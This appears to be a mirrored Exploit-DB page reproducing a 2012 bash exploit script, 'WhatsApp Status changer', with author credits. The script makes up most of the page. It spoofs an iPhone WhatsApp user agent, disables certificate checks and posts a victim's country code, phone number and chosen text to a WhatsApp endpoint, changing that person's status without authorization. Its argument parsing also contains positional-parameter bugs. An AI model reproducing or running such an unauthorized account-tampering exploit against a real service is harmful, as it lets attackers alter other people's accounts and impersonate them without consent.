WhatsApp – Remote Change Status - 体验盒子

作者： emgent

日期： 2012-01-20

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/18396/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

#!/bin/bash

#

# WhatsApp Status changer v0.2 stable

# A slim exploit able to change the WhatsApp

# user status in a remote way.

#

# This program is released under the terms of the GNU General Public License

# (GPL), which is distributed with this software in the file "COPYING".

# The GPL specifies the terms under which users may copy and use this software.

#

show_help(){

echo ""

echo " 2012 (C) WhatsApp-exp.sh - The Whats App Status Changer Exploit"

echo ""

echo " --usageshow the exploit Usage"

echo " --creditsshow the exploit Credits"

echo " --help show the Help"

echo ""

echo " enJoy"

}

show_credits(){

echo ""

echo " Emanuele Gentili"

echo " http://www.emanuelegentili.eu"

echo " eg @ offensive-security.it"

echo ""

echo " Stefano Fratepietro"

echo " http://steve.deftlinux.net"

echo " stefano @ deftlinux.net"

echo ""

}

show_usage(){

echo ""

echo " 2012 (C) WhatsApp-exp.sh - The Whats App Status Changer Exploit"

echo ""

echo " usage $0 --countrycode 39 --mobilenum 3931212343 --text g0t p0wned"

echo ""

echo " enJoy"

}

# Bash

while [[ $# != 0 ]]; do

arg_name=$1; shift

case "$arg_name" in

--help|-?|-h) show_help; exit 0;;

--credits) show_credits; exit 0;;

--usage) show_usage; exit 0;;

--countrycode) countrycode=$1; shift;;

--mobilenum) mobilenum=$2; shift;;

--text) text=$3; shift;;

*) echo "invalid option: $1"; show_help;exit 1;;

esac

done

[ -z "$countrycode" ] && { show_help; exit 1; }

whatsAppagent="WhatsApp/2.6.7 iPhone_OS/5.0.1 Device/Unknown_(iPhone4,1)"

wget --no-cache --delete-after --quiet --no-check-certificate --user-agent="$whatsAppagent" --post-data="cc=$countrycode&me=$mobilenum&s=$text" https://s.whatsapp.net/client/iphone/u.php

echo ""

echo "[+] Operazione completata."

echo ""